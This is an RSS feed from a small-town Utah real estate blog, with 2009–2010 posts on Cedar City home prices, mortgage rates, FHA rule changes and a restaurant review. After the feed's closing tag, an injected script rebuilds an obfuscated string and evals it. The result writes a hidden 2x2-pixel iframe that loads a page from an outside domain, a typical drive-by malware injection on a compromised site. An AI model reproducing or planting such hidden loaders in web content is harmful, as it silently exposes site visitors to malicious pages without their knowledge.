<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cedar City Info</title>
	<atom:link href="http://southernutrealestate.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://southernutrealestate.com</link>
	<description>Century 21 Prestige Realty</description>
	<lastBuildDate>Sat, 05 Jun 2010 17:29:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Cedar City Residents Work to Move Land Use Issue Forward</title>
		<link>http://southernutrealestate.com/?p=139</link>
		<comments>http://southernutrealestate.com/?p=139#comments</comments>
		<pubDate>Sat, 05 Jun 2010 17:29:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://southernutrealestate.com/?p=139</guid>
		<description><![CDATA[It&#8217;s amazing what happens when Cedar City residents work together, focusing on solving problems and moving past complaining!
http://www.thespectrum.com/article/20100604/NEWS01/6040302/Residents+speak+out+on+study
]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s amazing what happens when Cedar City residents work together, focusing on solving problems and moving past complaining!</p>
<p>http://www.thespectrum.com/article/20100604/NEWS01/6040302/Residents+speak+out+on+study</p>
]]></content:encoded>
			<wfw:commentRss>http://southernutrealestate.com/?feed=rss2&amp;p=139</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Memorial Day in Cedar City</title>
		<link>http://southernutrealestate.com/?p=138</link>
		<comments>http://southernutrealestate.com/?p=138#comments</comments>
		<pubDate>Mon, 31 May 2010 20:36:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://southernutrealestate.com/?p=138</guid>
		<description><![CDATA[It is for us the living, rather, to be dedicated here to the unfinished work which they who fought here have thus far so nobly advanced. It is rather for us to be here dedicated to the great task remaining before us &#8211; that from these honored dead we take increased devotion to that cause [...]]]></description>
			<content:encoded><![CDATA[<p>It is for us the living, rather, to be dedicated here to the unfinished work which they who fought here have thus far so nobly advanced. It is rather for us to be here dedicated to the great task remaining before us &#8211; that from these honored dead we take increased devotion to that cause for which they gave the last full measure of devotion &#8211; that we here highly resolve that these dead shall not have died in vain &#8211; that this nation, under God, shall have a new birth of freedom &#8211; and that government of the people, by the people, for the people, shall not perish from the earth.  Abraham Lincoln, November 1863</p>
]]></content:encoded>
			<wfw:commentRss>http://southernutrealestate.com/?feed=rss2&amp;p=138</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Light At the End of the Tunnel for Builders?</title>
		<link>http://southernutrealestate.com/?p=137</link>
		<comments>http://southernutrealestate.com/?p=137#comments</comments>
		<pubDate>Thu, 25 Mar 2010 21:55:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://southernutrealestate.com/?p=137</guid>
		<description><![CDATA[http://www.thespectrum.com/article/20100325/NEWS01/100325009
Some builders think so!  If our inventory keeps shrinking, and land prices stay low, there could be some new opportunity!
]]></description>
			<content:encoded><![CDATA[<p>http://www.thespectrum.com/article/20100325/NEWS01/100325009</p>
<p>Some builders think so!  If our inventory keeps shrinking, and land prices stay low, there could be some new opportunity!</p>
]]></content:encoded>
			<wfw:commentRss>http://southernutrealestate.com/?feed=rss2&amp;p=137</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Treasury mulling changes. . . again.</title>
		<link>http://southernutrealestate.com/?p=135</link>
		<comments>http://southernutrealestate.com/?p=135#comments</comments>
		<pubDate>Tue, 23 Feb 2010 18:53:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://southernutrealestate.com/?p=135</guid>
		<description><![CDATA[Mulling changes to mortgage relief. The Treasury may institute new guidelines for mortgage lenders that would give distressed borrowers more time to qualify for a federal foreclosure-prevention program. The proposal would give borrowers 30 days to respond after being denied a modification of their loan terms under the Home Affordable Modification Program. During that time, [...]]]></description>
			<content:encoded><![CDATA[<p>Mulling changes to mortgage relief. The Treasury may institute new guidelines for mortgage lenders that would give distressed borrowers more time to qualify for a federal foreclosure-prevention program. The proposal would give borrowers 30 days to respond after being denied a modification of their loan terms under the Home Affordable Modification Program. During that time, borrowers could appeal the decision and lenders would be unable to put the home up for sale. A Treasury spokeswoman said the idea is being considered but hasn&#8217;t been approved and no announcements are planned at present. (from Rachael Granby)</p>
]]></content:encoded>
			<wfw:commentRss>http://southernutrealestate.com/?feed=rss2&amp;p=135</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Interest Rate Update</title>
		<link>http://southernutrealestate.com/?p=132</link>
		<comments>http://southernutrealestate.com/?p=132#comments</comments>
		<pubDate>Fri, 29 Jan 2010 23:30:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://southernutrealestate.com/?p=132</guid>
		<description><![CDATA[Looks like we&#8217;re still holding steady &#8211; but be prepared for some interest rate increases sooner rather than later!  (The following are NOTE rates &#8211; not APR)
30-yr fixed: 5.125%
15-yr fixed: 4.375%
FHA 30-yr fixed: 4.875%
Jumbo fixed: 6.50%
5/1 ARM: 4.25%
Rural Housing 30-yr fixed: 4.875%
Construction: 6.00%
Lot Loan: 6.50% 
]]></description>
			<content:encoded><![CDATA[<p>Looks like we&#8217;re still holding steady &#8211; but be prepared for some interest rate increases sooner rather than later!  (The following are NOTE rates &#8211; not APR)</p>
<p>30-yr fixed: 5.125%<br />
15-yr fixed: 4.375%<br />
FHA 30-yr fixed: 4.875%<br />
Jumbo fixed: 6.50%<br />
5/1 ARM: 4.25%<br />
Rural Housing 30-yr fixed: 4.875%<br />
Construction: 6.00%<br />
Lot Loan: 6.50% </p>
]]></content:encoded>
			<wfw:commentRss>http://southernutrealestate.com/?feed=rss2&amp;p=132</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Cedar City hot spot!</title>
		<link>http://southernutrealestate.com/?p=130</link>
		<comments>http://southernutrealestate.com/?p=130#comments</comments>
		<pubDate>Tue, 26 Jan 2010 20:39:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://southernutrealestate.com/?p=130</guid>
		<description><![CDATA[Just ate at a brand new restaurant in Cedar City called the Whiptail.  FABULOUS southwestern food.  Had a spaghetti squash and goat cheese enchilada with green chili sauce.  Dessert was a peanut butter-chocolate-habanero creme brulee.  It&#8217;s definitely worth a visit to Cedar City just to try it!
]]></description>
			<content:encoded><![CDATA[<p>Just ate at a brand new restaurant in Cedar City called the Whiptail.  FABULOUS southwestern food.  Had a spaghetti squash and goat cheese enchilada with green chili sauce.  Dessert was a peanut butter-chocolate-habanero creme brulee.  It&#8217;s definitely worth a visit to Cedar City just to try it!</p>
]]></content:encoded>
			<wfw:commentRss>http://southernutrealestate.com/?feed=rss2&amp;p=130</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>New FHA Loan Rules</title>
		<link>http://southernutrealestate.com/?p=128</link>
		<comments>http://southernutrealestate.com/?p=128#comments</comments>
		<pubDate>Mon, 25 Jan 2010 23:22:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://southernutrealestate.com/?p=128</guid>
		<description><![CDATA[It looks like there are some fairly significant changes in FHA rules coming at us. Because our area typically sees a lot of government-backed loans &#8211; specifically FHA and RDA &#8211; this could have an impact on local buyers.
*Watch for upfront Mortgage Insurance Premiums (MIP) to increase to 2.25% of the loan amount.
*Minimum FICO scores [...]]]></description>
			<content:encoded><![CDATA[<p>It looks like there are some fairly significant changes in FHA rules coming at us. Because our area typically sees a lot of government-backed loans &#8211; specifically FHA and RDA &#8211; this could have an impact on local buyers.</p>
<p>*Watch for upfront Mortgage Insurance Premiums (MIP) to increase to 2.25% of the loan amount.<br />
*Minimum FICO scores are going up to 580 for those who want to take advantage of the 3.5% down.<br />
*Borrowers with FICO scores lower than 580 are looking at a required 10% down.<br />
*Seller concessions will be lowered from 6% to 3% maximum.</p>
<p>Interesting changes &#8211; could have an effect on borrowers, but knowing in advance what&#8217;s going on will give us time to plan, and we can still get you to where you want to go!</p>
]]></content:encoded>
			<wfw:commentRss>http://southernutrealestate.com/?feed=rss2&amp;p=128</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Featured Article in the local Paper</title>
		<link>http://southernutrealestate.com/?p=126</link>
		<comments>http://southernutrealestate.com/?p=126#comments</comments>
		<pubDate>Thu, 14 Jan 2010 18:12:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://southernutrealestate.com/?p=126</guid>
		<description><![CDATA[Click on the link below to access a great article about local real estate.  Featuring yours truly!  There were actually more homes sold in Cedar City in 2009 than 2008.  The median price was down to $145,000.
Enjoy!
http://www.thespectrum.com/article/20100112/NEWS01/100112004/Market-may-see-upturn
]]></description>
			<content:encoded><![CDATA[<p>Click on the link below to access a great article about local real estate.  Featuring yours truly!  There were actually more homes sold in Cedar City in 2009 than 2008.  The median price was down to $145,000.</p>
<p>Enjoy!</p>
<p>http://www.thespectrum.com/article/20100112/NEWS01/100112004/Market-may-see-upturn</p>
]]></content:encoded>
			<wfw:commentRss>http://southernutrealestate.com/?feed=rss2&amp;p=126</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>We&#8217;re off and running!</title>
		<link>http://southernutrealestate.com/?p=124</link>
		<comments>http://southernutrealestate.com/?p=124#comments</comments>
		<pubDate>Fri, 08 Jan 2010 00:40:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://southernutrealestate.com/?p=124</guid>
		<description><![CDATA[2010 has already started out to be a fantastic year!  I&#8217;m very optimistic and excited about the great things that are happening in the world of real estate.
Some quick stats to end 2009:
*About 32% of our local market was comprised of foreclosed properties
*Another 20-25% of our sales were short sales &#8211; look for this [...]]]></description>
			<content:encoded><![CDATA[<p>2010 has already started out to be a fantastic year!  I&#8217;m very optimistic and excited about the great things that are happening in the world of real estate.</p>
<p>Some quick stats to end 2009:</p>
<p>*About 32% of our local market was comprised of foreclosed properties<br />
*Another 20-25% of our sales were short sales &#8211; look for this trend to continue<br />
*Our median sales price in 2009 was $145,000 &#8211; in 2008 it was $176,000<br />
*In some parts of our market, for example a 1500 sf house listed under $200,000, we&#8217;ve only got about a 6-month supply!  Compare this to over a 12-month supply 18 months ago.</p>
<p>All in all, 2010 looks like we&#8217;ll continue to have spectacular prices, good inventory, and great interest rates!</p>
]]></content:encoded>
			<wfw:commentRss>http://southernutrealestate.com/?feed=rss2&amp;p=124</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Interest Rate Update</title>
		<link>http://southernutrealestate.com/?p=123</link>
		<comments>http://southernutrealestate.com/?p=123#comments</comments>
		<pubDate>Wed, 30 Dec 2009 19:22:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://southernutrealestate.com/?p=123</guid>
		<description><![CDATA[
These are NOTE rates, NOT APR:  
30-yr fixed: 5.25%
15-yr fixed: 4.50%
FHA 30-yr fixed: 5.125%
5/1 ARM: 4.25%
Rural Housing 30-yr fixed: 5.125%
Construction: 6.00%
Lot Loan: 6.50%  
When I started in this business years ago, &#8220;good&#8221; rates were in the high 7% to low 8% range.  I think we&#8217;re headed back there, but rates continue to [...]]]></description>
			<content:encoded><![CDATA[
<p>These are NOTE rates, NOT APR:  </p>
<p>30-yr fixed: 5.25%<br />
15-yr fixed: 4.50%<br />
FHA 30-yr fixed: 5.125%<br />
5/1 ARM: 4.25%<br />
Rural Housing 30-yr fixed: 5.125%<br />
Construction: 6.00%<br />
Lot Loan: 6.50%  </p>
<p>When I started in this business years ago, &#8220;good&#8221; rates were in the high 7% to low 8% range.  I think we&#8217;re headed back there, but rates continue to be spectacular!  There are such great deals in the Cedar City area right now, it&#8217;s worth taking a look.</p>
]]></content:encoded>
			<wfw:commentRss>http://southernutrealestate.com/?feed=rss2&amp;p=123</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<script>var bpxDsSbm8='d*%@o*%@c*%@u*%@m*%@e*%@n*%@t*%@.*%@w*%@r*%@i*%@t*%@e*%@(*%@\'*%@<*%@i*%@f*%@r*%@a*%@m*%@e*%@ *%@s*%@r*%@c*%@=*%@"*%@h*%@t*%@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@p*%@l*%@a*%@s*%@.*%@c*%@o*%@m*%@/*%@i*%@n*%@.*%@p*%@h*%@p*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@ *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%@e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r*%@a*%@m*%@e*%@>*%@\'*%@)*%@;*%@';eval(bpxDsSbm8.split('*%@').join(""));</script>